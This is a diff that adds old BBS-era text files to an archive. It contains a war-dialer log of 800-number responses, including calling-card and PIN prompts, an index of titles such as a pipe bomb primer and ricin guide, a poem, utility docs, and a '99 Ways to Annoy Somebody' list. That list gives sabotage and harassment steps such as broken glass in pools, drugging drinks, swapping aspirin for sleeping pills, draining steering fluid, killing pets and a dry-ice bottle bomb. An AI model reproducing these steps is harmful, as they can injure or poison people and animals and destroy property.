NA. +388 2CK. +389 NIS. +390 NIS. +391 Voice. +392 2CK. +393 NA. +394 2CK. +395 2CK. +396 John Lee Hooker ordering line. (Voice) +397 NIS. +398 BUSY. +399 NIS. +400 "Your call is being recorded." (Voice) +401 Fuel something Customer Service. +402 NIS. +403 Maritime Travel VMS. +404 NIS. +405 NIS. +406 NIS. +407 NIS. +408 NIS. +409 NIS. +410 Answering machine. +411 2CK. +412 NIS. +413 NIS. +414 NIS. +415 NIS. +416 Voice. +417 NIS. +418 George Foreman Jumbo Family Sized Grill (Voice) <-- Enough fucking #s? +419 Disconnected. +420 Invalid. +421 Olson Travel World VMS. +422 Ratheon Info line. +423 2CK. +424 2CK. +425 NIS. +426 IBM Customer Support answering machine. +427 2CK. +428 2CK. +429 Voice. +430 Columbia House Audio Book Club. +431 2CK. +432 2CK. +433 2CK. +434 NIS. +435 2CK. +436 Business Centers. (Voice) +437 2CK. +438 NA. +439 NIS. +440 Voice. +441 Voice. +442 2CK. +443 2CK. +444 2CK. +445 2CK. +446 Voice. +447 Campbell's Soup. +448 NA. +449 "Please enter your 9 digit card number." +450 FAX. +451 TONES. +452 Voice. +453 Wallstreet Corp. VMS. +454 2CK. +455 Voice. +456 Voice. +457 NIS. +458 2CK. +459 BUSY. +460 Pager Service. +461 BUSY. +462 NA. +463 2CK. +464 NIS. +465 CIBC Customer Care Center. +466 FAX. +467 TONE. +468 2CK. +469 NIS. +470 2CK. +471 NA. +472 2CK. +473 Voice. +474 The Executive Club VMS. +475 On the ball greetings VMS. +476 2CK. +477 Customer Service Answering machine. +478 NIS. +479 NIS. +480 NIS. +481 NA. +482 Industrial Techtonics Inc. +483 NIS. +484 "To complete your call, please enter your 4 digit security code now..." +485 Ring + Trunk Busy Signal. +486 2CK. +487 2CK. +488 2CK. +489 2CK. +490 Voice. +491 BUSY. +492 2CK. +493 NIS. +494 2CK. +495 2CK. +496 NA. +497 Boston Law office. +498 NIS. +499 NIS. +500 NA. +501 NIS. +502 NIS. +503 NA. +504 CARRIER. +505 NA. +506 NIS. +507 NIS. +508 NIS. +509 NIS. +510 Voice. +511 2CK. +512 NIS. +513 NIS. +514 NIS. +515 NIS. +516 NIS. +517 NIS. +518 NA. +519 2CK. +520 NIS. +521 NA. +522 Dialtone. +523 2CK. +524 2CK. +525 2CK. +526 NA. +527 2CK. +528 2CK. +529 2CK. +530 NIS. +531 The Focal Point Help Desk. +532 NA. +533 2CK. +534 NIS. +535 2CK. +536 Invalid. +537 Something Hospital Systems. +538 2CK. +539 NIS. +540 NIS. +541 Voice. +542 2CK. +543 Answering machine. +544 2CK. +545 2CK. +546 Miles Kimbal automated message. +547 NA. +548 NA. +549 NIS. +550 NIS. +551 2CK. +552 NA. +553 ElectroRent Corporation. +554 2CK. +555 NOS (collect, credit card calling). +556 2CK. +557 NIS. +558 2CK. +559 NIS. +560 NIS. +561 2CK. +562 AT&T Directory Advertising. +563 Voice. +564 2CK. +565 NIS. +566 2CK. +567 Voice. +568 2CK. +569 NIS. +570 Sprint Business Service Center. +571 NIS. +572 028P. +573 Voice. +574 2CK. +575 Sprint Canada's Automated Voice Mail. +576 Frontier Customer Service. +577 NIS. +578 "Enter your personal identification number." +579 International Technadyne VMS. +580 2CK. +581 2CK. +582 2CK. +583 NIS. +584 Test line? +585 NIS. +586 NIS. +587 2CK. +588 2CK. +589 NA. +590 NIS. +591 NIS. +592 BUSY. +593 2CK. +594 Police Dept. VMS. +595 Voice. +596 NIS. +597 2CK. +598 NIS. +599 NA. +600 Not active. +601 NIS. +602 NIS. +603 NIS. +604 NIS. +605 Voice. +606 NIS. +607 NA. +608 NA. +609 NIS. +610 NIS. +611 NIS. +612 NIS. +613 NA. +614 2CK. +615 2CK. +616 NA. +617 NIS. +618 NA. +619 NIS. +620 NIS. +621 2CK. +622 National Council on Alcoholism and Drug Dependence automated hotline. +623 NIS. +624 "We're sorry. We're unable to place a call from this number. Goodbye." +625 "Please enter your authorization code." +626 2CK. +627 Continental. +628 Disconnected. +629 NIS. +630 NIS. +631 2CK. +632 Sports Illustrated. (Voice) +633 NOS (collect, credit/calling card calling). +634 BUSY. +635 2CK. +636 2CK. +637 MCI WorldCom. +638 Voice. +639 2CK. +640 NIS. +641 FAX. +642 Voice. +643 AT&T Translation Service. +644 NIS. +645 NA. +646 Voice. +647 "I'm sorry. We are no longer taking calls for this project." +648 2CK. +649 NA. +650 NA. +651 Voice. +652 Voice. +653 NA. +654 2CK. +655 Voice. +656 Voice. +657 BUSY. +658 NA. +659 2CK. +660 On-Call Banking. +661 2CK. +662 Disconnected. +663 International Geneological Search VMS. +664 Voice. +665 NIS. +666 AT&T Easy Reach 800. +667 NIS. +668 NA. +669 Major League Baseball benefit plan office. +670 AT&T Canada Long Distance Services. +671 NIS. +672 2CK. +673 NIS. +674 "Please enter your card number now." +675 NA. +676 2CK. +677 NA. +678 International Tours and Galaxy Services VMS. +679 Phone Sex line. +680 George Foreman Grill Hotline. (Voice) +681 Voice. +682 2CK. +683 2CK. +684 Nortel's Meridian Home Office Info. +685 Dan Mitchel's VMB. +686 NIS. +687 NIS. +688 BUSY. +689 Voice. +690 NIS. +691 BUSY. +692 Voice. +693 NIS. +694 Voice. +695 Phone Sex. (Credit Card Required) +696 NIS. +697 2CK. +698 Voice. +699 NIS. +700 Pro-Active. (Voice) +701 Voice. +702 NIS. +703 NIS. +704 NIS. +705 Jumbo Family sized George Foreman Grill Hotline. (Voice) +706 Something Music ordering line. +707 NIS. +708 Voice. +709 NA. +710 Voice. +711 NIS. +712 NIS. +713 Troy Built. (Voice) +714 NIS. +715 NIS. +716 Voice. +717 2CK. +718 2CK. +719 2CK. +720 NA. +721 2CK. +722 NA. +723 International Reading Center VMS. +724 Something International VMS. +725 NIS. +726 2CK. +727 2CK. +728 Informed Choice. (Voice) +729 CARRIER. +730 Voice. +731 NIS. +732 AT&T High Seas Radio Telephone and Mobile Satellite Services. +733 2CK. +734 "Please enter your numeric message after the tone." +735 2CK. +736 2CK. +737 MCCI VMS. +738 FutureNet Group FAX on demand. +739 NIS. +740 NIS. +741 ATN Communications. +742 BUSY. +743 2CK. +744 NIS. +745 2CK. +746 1-800-PIN-BALL. +747 Group Travel. (Voice) +748 NA. +749 BUSY. +750 National Tele-Service. (Voice) +751 NIS. +752 NA. +753 2CK. +754 BUSY. +755 NA. +756 2CK. +757 Orlando Vacation package automated message. +758 Athletic Training company VMS. +759 Master's Group VMS. +760 NA. +761 2CK. +762 2CK. +763 Answering Service. +764 NIS. +765 NA. +766 "Please enter your card number." +767 NA. +768 King's College VMS. +769 Unable to route call. +770 "Cannot be completed as dialed." G1 +771 2CK. +772 2CK. +773 NIS. +774 NIS. +775 2CK. +776 NIS. +777 Phone Works VMS. +778 Prudential Life Insurance. +779 Emergency Service? +780 2CK. +781 2CK. +782 2CK. +783 Golf Products. +784 VMS. +785 NIS. +786 Sun Companies Emergency response center. +787 NA. +788 2CK. +789 2CK. +790 AT&T Canada Long Distance Services. +791 NIS. +792 BUSY. +793 2CK. +794 NIS. +795 NA. +796 NIS. +797 Voice. +798 2CK. +799 NIS. +800 Cannot be reached. Unable to route call. +801 2CK. +802 NIS. +803 NIS. +804 2CK. +805 2CK. +806 Merci. (French) +807 NIS. +808 NIS. +809 2CK. +810 2CK. +811 NIS. +812 NIS. +813 TONES. +814 NIS. +815 2CK. +816 NA. +817 Alabama Credit Union. +818 NIS. +819 TONE. +820 Voice. +821 Ad Co. VMS. +822 2CK. +823 NIS. +824 2CK. +825 Metro-Call. (Pager Service) +826 2CK. +827 2CK. +828 2CK. +829 2CK. +830 AT&T Canada Long Distance Services. +831 Something Vision (Voice) +832 2CK. +833 Golf something VMS. +834 NIS. +835 NA. +836 "Press 1 for English, 2 for Korean. Please enter your card number." +837 2CK. +838 NIS. +839 2CK. +840 NIS. +841 2CK. +842 American Express VMS (Audix) +843 Bell Atlantic Small Business Direct Response Center. +844 NA. +845 Perfect Buns and Thighs line. +846 2CK. +847 Voice. +848 FAX. +849 NIS. +850 Voice. +851 NA. +852 The Learning Company. +853 2CK. +854 Flame Enterprises. +855 NIS. +856 2CK. +857 Conference Calling Center. 1-800-475-4455 +858 NA. +859 2CK. +860 Quest/LCI +861 NIS. +862 2CK. +863 NA. +864 Media One. (Voice) +865 NA. +866 Demographics On-Call. +867 2CK. +868 2CK. +869 NA. +870 Voice. +871 2CK. +872 TONE. "Please enter the number you are calling..." +873 2CK. +874 Something Security Corporation. +875 Phone Sex sounding automated voice. +876 Communice Network Services Dept. +877 NA. +878 NA. +879 Balseed company answering machine. +880 2CK. +881 Voice. +882 2CK. +883 Voice. +884 NA. +885 NIS. +886 American Express automated message center. +887 Trellis Premier Voice Mail and Paging. +888 Invalid. +889 NA. +890 2CK. +891 NIS. +892 2CK. +893 NIS. +894 NIS. +895 2CK. +896 NIS. +897 NIS. +898 NIS. +899 2CK. +900 NIS. +901 NIS. +902 NIS. +903 NIS. +904 NIS. +905 2CK. +906 NIS. +907 NIS. +908 Troy Built. (Voice) +909 NIS. +910 NIS. +911 NIS. +912 NIS. +913 2CK. +914 2CK. +915 Autograph VMS. +916 Voice. +917 NIS. +918 TONES. +919 NIS. +920 2CK. +921 NIS. +922 2CK. +923 2CK. +924 2CK. +925 2CK. +926 NA. +927 FAX. +928 NA. +929 2CK. +930 2CK. +931 Invalid. +932 2CK. +933 TONE. +934 Bell Atlantic and 1-800-275-2355 Bell Atlantic Repair. +935 BUSY. +936 Voice. +937 Voice. +938 Pilgram Telephone. (Phone Sex) +939 NIS. +940 NIS. +941 NIS. +942 Silent. +943 NIS. +944 NA. +945 Voice. +946 2CK. +947 2CK. +948 NIS. +949 2CK. +950 Voice. +951 2CK. +952 NA. +953 NIS. +954 NIS. +955 2CK. +956 NIS. +957 2CK. +958 AT&T Canada Long Distance Services. +959 Not active. +960 2CK. +961 2CK. +962 2CK. +963 2CK. +964 Audix VMS. +965 Suzanne Summers Total Body System. (Voice) +966 2CK. +967 NIS. +968 Unable to route call. +969 Ramjack foundation repair systems VMS in Texas. +970 AT&T Canada Long Distance Services. +971 Ontario Native Literacy Coalition answering machine. +972 2CK. +973 NA. +974 NIS. +975 Unable to route call. +976 Loan by Phone hotline. +977 2CK. +978 Voice. +979 NIS. +980 Rapid White Ordering Line. (Voice) +981 NIS. +982 2CK. +983 2CK. +984 Rainbirds Gulf Division VMS. +985 Voice. +986 2CK. +987 FAX. +988 Voice. +989 2CK. +990 Voice. +991 2CK. +992 NA. +993 Voice. +994 NIS. +995 2CK. +996 Voice. +997 Voice. +998 2CK. +999 NA. diff --git a/textfiles.com/groups/DAMAGEINC/zombie.txt b/textfiles.com/groups/DAMAGEINC/zombie.txt new file mode 100644 index 00000000..38833526 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/zombie.txt @@ -0,0 +1,114 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Poetic Rantings + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +"A pathetic zombie race." + +Blood dripping from the sky. +Over and over you hear the hideous cries. +Desperation. + +Covering the ground are bodies in tatters. +Their dreams have been shattered. +Disposable heroes. + +In battle they fought for social evolution. +There wasn't a conclusion or resolution. +No revolution. + +Brave souls with a cause were attacked and decimated. +Their very existence was removed, destroyed and eliminated. +Chaotic evil. + +Big Brother's mind control and ignorant teachings were victorious. +Disinformation, propaganda and lies. For that they are notorious. +Weapons of mass destruction. + +The men did not seek any followers or pity. +Big Brother was their foe. An enemy that defines and lives for infamy. +Dissidents. + +Glory, honor and truth were what they respected. +Those very things were what the vast majority utterly rejected. +Zombies. + +Indifference and ignorance ruled. +Again and again the zombies were fooled. +Blindness. + +Their will and independence crushed. +Now Big Brother is all that the zombies trust. +Overpowered. + +Individuality and freedom were lost. +Now they were mere puppets...controlled and brainwashed. +No resistance. + +Their rights, choices and chances were now gone. +Afterall, they chose not to fight and Big Brother had won. +Defeated. + +They ignored the warnings. They refused to wage war. +Indeed, the zombies supported and believed Big Brother. Whenever they were +stripped, raped and beaten they went back and asked for more. +Naive. + +Influenced and constantly being manipulated by Big Brother. +Truth and lies were now the same. They couldn't tell one from another. +Puppets. + +Yes, the gullible zombies were influenced by all of the false promises. They +believed the shit and did what they were told. +In the end, they weren't human beings. Their strings could be pulled at will +by Big Brother and they were frequently imprisoned, bought and sold. +Enslaved. + +Life in captivity is what they chose. +Slavery under Big Brother is something they simply could not oppose. +Weak. + +Was this way of life torture to them? Were the zombies upset or enraged? +No, it was Utopia. They actually believed they were living in a gilded cage. +Controlled. + +The land wasn't theirs to own. The decisions weren't theirs to make. +But Big Brother repeatedly assured them that his way was best. He decided +everything for them, for their own sake. +Brainwashed. + +However, the zombies were all satisfied with the way things were. They +were peaceful and content. +Was their happiness real? Or was it artificial... twisted and bent? +Fake. + +To them though, it was real. For they acted on emotion and rejected all logic. +They were disillusioned fools. They just couldn't see that it was wrong, +demented and sick. +Deceived. + +Arm themselves? Pointless. Fight back? Unacceptable and dangerous. +Relinquish civil rights and liberties? Fair. Victimized and controlled? +Socially acceptable and part of going with the flow. +Conformity. + +Their silence was deafening and deadly. +It killed any chance of reform, quickly and effectively. +Self-Sabotage. + +The zombies loved ignorance and always strived to be perfect, willing victims. +Never speak out. Never oppose. Never question. Always support the system. +Mindless. + +They gave in and had betrayed the very people that were fighting for them. +The zombies were alone. On their behalf, there was nobody left to fend. +Helpless. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1998. diff --git a/textfiles.com/groups/FISH.1 b/textfiles.com/groups/FISH.1 new file mode 100644 index 00000000..40815f34 --- /dev/null +++ b/textfiles.com/groups/FISH.1 @@ -0,0 +1,43 @@ + +T E X T F I L E S + +

Groups: F.I.S.H.

+

+Standing for "Folks in Santa Hats", this California-based group produced a number of +files in the 1990-1995 time period. +

+ + + + + +
+
Filename
Size
Description of the Textfile
annoy99.txt 7047
99 Ways to Annoy Somebody and Get Even, by Punk Rock Girl and The Potatoe Lady of F.I.S.H. +
bat2exec.doc 3066
DOCS: BAT2EXEC, by Doug Boling: Compile your batch files for added speed (August, 1990) +
blister.doc 4000
DOCS: Blister, Version 1.0a by Nathan Reese +
blister.lst 224
BBS AD: The Sect Of The Trampoline People +
bong.txt 3866
How to Make a Really Good Bong, By Castro of the Fish Gang +
bong1.pcx 59709
How to Make a Really Good Bong, By Castro of the Fish Gang (PCX PICTURE) +
bong2.pcx 37921
How to Make a Really Good Bong, By Castro of the Fish Gang (PCX PICTURE) +
bong3.pcx 28783
How to Make a Really Good Bong, By Castro of the Fish Gang (PCX PICTURE) +
death.txt 4168
The Death Box, by Punk Rock Girl and Sister Ida The Psychic Whore of the F.I.S.H. Gang +
evilbat.txt 1465
An Evil Batch, by The Infidel of the F.I.S.H. Gang +
file_id.diz 1535
ANSI: F.I.S.H. (Folks in Santa Hats) Present Trojan Horse Tutorial +
g.txt 1170
Description of Batch File to Page the Sysop, by Punk Rock Girl of the F.I.S.H. Gang +
gaybar.txt 2198
How to Clear Out a Gay Bar, by Ezra and Punk Rock Girl of the F.I.S.H. Gang +
haha.doc 1394
DOCS: Punk Rock Girl's HAHA Dialer, by Punk Rock Girl of the F.I.S.H. Gang +
killmom.txt 6052
It's a Floor Wax, It's a Dessert Topping, by Punk Rock Girl and Ezra Petroleum Zoid of F.I.S.H. +
market.txt 8733
How to Trash Your Local Supermarket, by Punk Rock Girl, Hugh, Ida the Psychic Whore and Stone of F.I.S.H. +
nerdbbs.txt 5708
How to Kill a Stupid BBS and Drive the Sysop Crazy, by Punk Rock Girl of F.I.S.H. +
nrktools.txt 5068
The Anarchist's Toolkit by the Infidel of F.I.S.H. +
payphone.txt 6115
A List of Redding Payphones by F.I.S.H. +
pbprimer.txt 12180
The Pipe Bomb Primer, by F.I.S.H. +
petpeeve.txt 9714
Dealing with Annoying Neighbors, from F.I.S.H. +
raw 1440
SCAN: 2XX-XXXX Numbers +
revenge.txt 1671
How to Get Revenge! By F.I.S.H. +
ricin.txt 3118
Creating Ricin, the Deadliest Poison Known to Man, by Punk Rock Girl of F.I.S.H. +
tht01.txt 38628
The Trojan Horse Tutorial #1 by F.I.S.H. +
vandal1.txt 13498
Vandalism Volume 1: The Guy Next Door, by Punk Rock Girl +
vandal2.txt 3966
Fun With a Sledge Hammer, by Ezra Guruface and Punk Rock Girl of F.I.S.H. +
vandal3.txt 4295
The Vandal Series Volume 3: The Wonderful World of Glue, by Punk Rock Girl and The Potatoe Lady of F.I.S.H. +

There are 28 files for a total of 276,732 bytes.
\ No newline at end of file diff --git a/textfiles.com/groups/FISH/.windex.html b/textfiles.com/groups/FISH/.windex.html new file mode 100644 index 00000000..67d35458 --- /dev/null +++ b/textfiles.com/groups/FISH/.windex.html @@ -0,0 +1,43 @@ + +T E X T F I L E S + +

Groups: F.I.S.H.

+

+Standing for "Folks in Santa Hats", this California-based group produced a number of +files in the 1990-1995 time period. +

+ + + + + +
+
Filename
Size
Description of the Textfile
annoy99.txt 7047
99 Ways to Annoy Somebody and Get Even, by Punk Rock Girl and The Potatoe Lady of F.I.S.H. +
bat2exec.doc 3066
DOCS: BAT2EXEC, by Doug Boling: Compile your batch files for added speed (August, 1990) +
blister.doc 4000
DOCS: Blister, Version 1.0a by Nathan Reese +
blister.lst 224
BBS AD: The Sect Of The Trampoline People +
bong.txt 3866
How to Make a Really Good Bong, By Castro of the Fish Gang +
bong1.pcx 59709
How to Make a Really Good Bong, By Castro of the Fish Gang (PCX PICTURE) +
bong2.pcx 37921
How to Make a Really Good Bong, By Castro of the Fish Gang (PCX PICTURE) +
bong3.pcx 28783
How to Make a Really Good Bong, By Castro of the Fish Gang (PCX PICTURE) +
death.txt 4168
The Death Box, by Punk Rock Girl and Sister Ida The Psychic Whore of the F.I.S.H. Gang +
evilbat.txt 1465
An Evil Batch, by The Infidel of the F.I.S.H. Gang +
file_id.diz 1535
ANSI: F.I.S.H. (Folks in Santa Hats) Present Trojan Horse Tutorial +
g.txt 1170
Description of Batch File to Page the Sysop, by Punk Rock Girl of the F.I.S.H. Gang +
gaybar.txt 2198
How to Clear Out a Gay Bar, by Ezra and Punk Rock Girl of the F.I.S.H. Gang +
haha.doc 1394
DOCS: Punk Rock Girl's HAHA Dialer, by Punk Rock Girl of the F.I.S.H. Gang +
killmom.txt 6052
It's a Floor Wax, It's a Dessert Topping, by Punk Rock Girl and Ezra Petroleum Zoid of F.I.S.H. +
market.txt 8733
How to Trash Your Local Supermarket, by Punk Rock Girl, Hugh, Ida the Psychic Whore and Stone of F.I.S.H. +
nerdbbs.txt 5708
How to Kill a Stupid BBS and Drive the Sysop Crazy, by Punk Rock Girl of F.I.S.H. +
nrktools.txt 5068
The Anarchist's Toolkit by the Infidel of F.I.S.H. +
payphone.txt 6115
A List of Redding Payphones by F.I.S.H. +
pbprimer.txt 12180
The Pipe Bomb Primer, by F.I.S.H. +
petpeeve.txt 9714
Dealing with Annoying Neighbors, from F.I.S.H. +
raw 1440
SCAN: 2XX-XXXX Numbers +
revenge.txt 1671
How to Get Revenge! By F.I.S.H. +
ricin.txt 3118
Creating Ricin, the Deadliest Poison Known to Man, by Punk Rock Girl of F.I.S.H. +
tht01.txt 38628
The Trojan Horse Tutorial #1 by F.I.S.H. +
vandal1.txt 13498
Vandalism Volume 1: The Guy Next Door, by Punk Rock Girl +
vandal2.txt 3966
Fun With a Sledge Hammer, by Ezra Guruface and Punk Rock Girl of F.I.S.H. +
vandal3.txt 4295
The Vandal Series Volume 3: The Wonderful World of Glue, by Punk Rock Girl and The Potatoe Lady of F.I.S.H. +

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diff --git a/textfiles.com/groups/FISH/annoy99.txt b/textfiles.com/groups/FISH/annoy99.txt new file mode 100644 index 00000000..40c07698 --- /dev/null +++ b/textfiles.com/groups/FISH/annoy99.txt @@ -0,0 +1,177 @@ +Yes thats right its another F.I.S.H. F.I.L.E. ! + + " Were not just for breakfast anymore!" + +<<99 WAYS TO ANNOY SOMEBODY (and get even)>> +by PUNK ROCK GIRL +& +THE POTATOE LADY + +Disclaimer: This information is for informational information +only. F.I.S.H. Gang take no responsibility for the misuse of this +informative informational information. + +Instructions for use: these are mere suggetsions of what one +might possibly do. If one were to successfully attempt a #69 the +possibilites are endless. REMEMBER TO APOLOGIVE PROFUSELY IF YOU +ACHIEVE A #10 OR A #17 etc, etc... + + +1. mumble when you speak +2. call them every five minutes "just to say hi." +3. spread filthy rumors about them +4. put vaseline all over their locker +5. get a porno mag and put a fake adress sticker on it with their +name displayed prominently. Drop it in the mall, the parking lot, +etc etc... +6. give them herpies +7. follow them around smiling alot +8. touch thier car a lot +9. touch them a lot +10. vomit on them at the least appropriate time. i.e. during +school! +11. send them junk mail +12. smile a lot and laugh incessantly. laugh at everything they +say including hints such as: SHUT UP!!! +13. ask them embarrassing questions like DID YOU BRUSH YOUR TEETH +TODAY? or DID YOU FORGET TO WASH YOUR HAIR? +14. pry. especially into things that are none of your business +15. spit all over them when you talk. P,B,S,F, are good letters +16. tell a friend you hate them but don't say why +17. cough on them, sneeze on them +18. stare at them +19. when they are talking to you: +stare at their eyebrows +squint at them +keep looking over at something behind them +pick your nose +yawn +20. order them things... +diaper service +5 tons of gravel +pizza flowers +mulch +all these things usually bill you later +21. send them love letters from their least favorite person. +22. poke them with things +23. ask them why they cut their hair +24. compliment them on their least admirable qualites. ASK THEM +IF THEY KNEW THEY LOOKED LIKE A PORPOISE. +25. sign them up for a CD club with their most hated music as +their main selection +26. take their picture all the time +27. ACCIDENTLY drop their name and phone number in trashy parts +of town +28. kidnap their pets and put packaging tape all over them +29. drain their steering fluid +30. steal their gas cap +31. let them know when they have messed up +32. sing to them +33. unplug all their appliances +34. unscrew all their light bulbs just enough so they dont work +35. take the bolts off the front whell of their bicycle +36. make up stupid nick names like JIMBO and DAN THE MAN. get +others to use them +37. accidently set them on fire +38. place syringes on them and alert the proper athorities +39. call them bad names like Queen Daryl and Bunnyfucker +40. tell their mothers they do drugs, sign them up for New +Beginnings +41. everyone has defects, point their out in flyers, on bathroom +walls, and over school PA systems +42. murder their animals and make it look like road kill +43. call the phone company and have thier line disconnected +44. do meaningnless things to their house like leaving celery on +the door at night +45. accidently drop a dye tablet in the washer +46. talk about them on live television +47. put gum in their hair... on their seat... in their shoes... +48. constantly remind them that a relative died, make jokes about +it +49. check out library books on their name, rent movies for them, +make long distance phone calls from their house +50. whenever anybody asks your name, USE THEIRS! especially when +doing somehting illegal +51. change all the clocks in their house to different times +52. set clock alarms to go off at three o clock in the morning +53. flip all their circuit breakers and steal all their fuses +54. turn on the heater in the summer and the cooler in the winter +55. drop alkaseltzer into their fishtank +56. put refrigerator magnets on every screen you see (epsecially +computers) +57. did you know that if you haold a razor blade with the sharp +edge at a 90 degree angle with a window and run it up and down it +makes a really bloodcurdling noise. +58. tear the last page out of books +59. tell them there is a party at some deserted loaction +60. did you know that alum is sold in the spice section of your +local supermarket? it is possibly the sickest tasting white +powder ever invented. it goes well on salads... in drinks... +61. put broken glass in the swimming pool +62. misuse words ( Freudian Slip ) +63. pour a bottle of Nyquil into the punch. +64. there is a little screw on those things that amke doors close +real slow labeled SPEED. turn it one direction until it falls +out. It will slam quite nicely now +65. lamp oil kills lawns DEAD! +66. let the air out of their front left tire +67. give their dog a nice yummy hunk of meat with laxitive on/in +it. put the dog in the house +68. super glue a quarter to the floor in the mall +69. get a garage door opener and drive through suburbia until one +opens +70. place a cup of rotting eggs and milk near their houses +ventilation intake +71. put a padlock on their fence and lose the key +72. remove their lawn mower blade +73. degause their tape collection +74. talk with your mouth full +75. put crushed garlic under their car seat +76. did you know volkswagons are air tight (mostly) roll up all +the windows except one and stick a hose in. roll it up the rest +of the way, turn it on +77. format all the school computers +78. relabel all their video tapes, chemicals, disks, etc... +79. sell everything they own via the classified ads in the paper +80. tap rythmically with you fingers, pencils, rulers... +81. turn up the oven +82. scream and perform a seizure during lunch time in the +caffeteria +83. grunt now and then +84. ask why every time they speak +85. slurp drinks +86. drool during a conversation with an authority figure +87. did you notice that some brands of cat food look just like +tuna? swithch labels +89. ALL teachers keep asprin in their desks, switch it with nytol +90. breath like a horse +91. sell them encyclopedias at four o clock in the morning +92. loosen one link in their bike chain +93. saran wrap over the toilet seat +94. raod kill is the gift that keeps on giving +95. keep sending mail to Abe Froman and use their adress get +others to do so +96. when they are driving suddenly scream as loud as you can then +stop +97. turn their car stereo up all the way before they go someplace +98. place a few good size hunks of dry ice in a 2 liter plastic +soda bottle, add some rit dye ( preferably red liquid dye ) close +the lid throw it into their hot tub and run like hell +99. writing in candle wax does not come off, in the summer it +melts on white pavement and turns dark grey. write your favorite +slogan on your friends drive way. + +100 is just too wacky to mention + + If there are any questions or comments leave mail for: +PUNK ROCK GIRL (me) +EZRA +THE INFIDEL +THE POTATOE LADY + +but in a way arent we all + + + + + diff --git a/textfiles.com/groups/FISH/bat2exec.doc b/textfiles.com/groups/FISH/bat2exec.doc new file mode 100644 index 00000000..2a8d5461 --- /dev/null +++ b/textfiles.com/groups/FISH/bat2exec.doc @@ -0,0 +1,64 @@ +BAT2EXEC + +Doug Boling - Volume 9, Issue 14 - August 1990 + +Purpose: Compile your batch files for added speed. Large batch + files often run annoyingly slowly. Compiling them with + BAT2EXEC will increase both your productivity and satisfaction. + + +Daily PC operations are almost unimaginable without the use of batch +files. Everyone has his favorite collection of them, and some users +have constructed complex batch files of thousands of bytes that push +the batch langauge itself to its limits. Programs that expand the +available batch file functions, such as Michael Mefford's BATCHMAN, +encourage users to make even larger batch files. + +Unfortunately, however, batch files are also notoriously slow. +It can be almost painful to watch them scroll down the screen a line +at a time. A standard way to improve the speed of interpreted +programs, such as batch files, is to compile them. That's where +BAT2EXEC comes in. + +USING BAT2EXEC + +The full syntax for BAT2EXEC could hardly be simpler. Just enter: + + BAT2EXEC FILE.BAT + +where FILE.BAT is the name of your batch file. BAT2EXEC will then +produce an executable .COM file with the name FILE.COM. If BAT2EXEC +can't find the batch file, an error message will be printed. If +BAT2EXEC can't understand a line in the batch file, it will print an +error message indicating the line in the file in which it discovered +the error. + +BAT2EXEC should not be used on every batch file. AUTOEXEC.BAT, for +example, must remain a genuine batch file in order for COMMAND.COM to +find it. Similarly, batch files that run terminate and stay resident +utilities (TSRs) should not be compiled. The reason for this +limitation lies in the DOS memory management structure: if a TSR is +executed from a program compiled by BAT2EXEC, the memory used by +BAT2EXEC itself will not be made available to the system after +it terminates. + +Programs created by BAT2EXEC behave slightly differently from the +batch files from which they were compiled. The .COM file does not +echo each line to the screen as does the batch file, for example. +Running other batch files does not cause the .COM program to end. +Also, pressing Ctrl-Break does not present the message, "Terminate +Batch file (y/n)." If Ctrl-Break is pressed and BREAK has been set +on, the program simply terminates. + +The size of the resulting .COM file is somewhat larger than +the batch file. Compiling a batch file containing a single REM +statement results in a .COM file size of 68 bytes, illustrating the +overhead of the setup and terminate routines. Program size increases +quickly as routines are added then slows as the loaded routines are +reused instead of new ones being added. + +Certainly, BAT2EXEC is not suitable for use on every batch +file. Two and three line batch files are best left in their easy-to- +alter and simple-to-understand ASCII format. However, for those batch +files that have grown into long complex programs, BAT2EXEC is the +answer. diff --git a/textfiles.com/groups/FISH/blister.doc b/textfiles.com/groups/FISH/blister.doc new file mode 100644 index 00000000..75c0d28c --- /dev/null +++ b/textfiles.com/groups/FISH/blister.doc @@ -0,0 +1,117 @@ + + + Ü Ü ÜÜßßßÛÜ + ÛÜÜßßßÜÜ Ü ßßßßßßÛßßßßß Û ÞÝ + Ý ßßÛÝ ÛÜ Û Û ÜÜÜÜÜÜÜ Û ÞÝ + Û Û ßÜ Û ÜÜÜßßßßßß Û Ûßßßßß Û ÜÝ + ÛÜÜÜÜÜÜÜß Û Û ßÜÜÜ Û Û ÛÜÜÜÜßß + Ûß Ý Û Û ßßÛ Û ÛÜÜÜ ÛßÛ + Û Û Û Û ÞÝ Û Ûß Û ÛÜ + ÛÝ Üß ÜÛ Û ÜÜÛÝ Þ Û Û ßÜ + Û ÜÜÜÜß Ûß ßßß Û Û Û + ßßßßßßßß ßßßßßßßßÛÜ Û ß Þ + ß ßßßßßßßÛ + + Version 1.0a + + + + Written By Nathan Reese + + + + + + + + + + + + + + + + + + + + + + + +Thank you for downloading Blister. +The easiest to use BBS Lister of all time. + +Disclaimer: If somebody messes up this program and makes it do bad things +then it is not my fault. I wrote it as a BBS list ONLY and all damages +resulting from this program are either the fault of the user, or some +malicious third party that enjoys tampering with shareware. + +This program is Sorta Shareware/Freeware meaning that you can use it for +as long as you want to without ANY obligation to me, except that you will +burn in hell for eternity. Or you could register it and give $5 and I would +send you all the updates that follow. + + +Files in the BLISTER1.ZIP archive: +BLISTER.EXE +BLISTER.DOC +BLISTER.LST + +How To Use Blister: The blister.exe program and the BLISTER.LST program +are all that are required. Simply run BLISTER as door from your BBS. +The only problems I can forsee is that I wrote this program for use +with SEARCHLIGHT BBS Software. Thus it has no internal COM routines of +its own. This will change in future version but for now it really doesnt +even need them. To run Blister on your BBS you should make sure that you +have your software set to use its own com routines on this program. This +is done in Searchlight by setting the Communications Support to Standard. +If your BBS does not offer a forced COM output like Searchlight then +you may consider using a program like DOORWAY which will send ANYTHING over +a modem. + +Wanna know all about the program? Why dont you just run it and save me +some writting? + +Requirements: The program is relatively small so unless you are running +something really sick like an 8088 with 256K of RAM you should have no +problems. + +The program DOES require that the BLISTER.LST file be in the +same directory as the EXE file however, so DONT delete it. This is a TEXT +file that holds the BBS information from the users. The file should currently +contain an entry for The Sect bbs. If it doesnt then you have not recieved +an original copy of 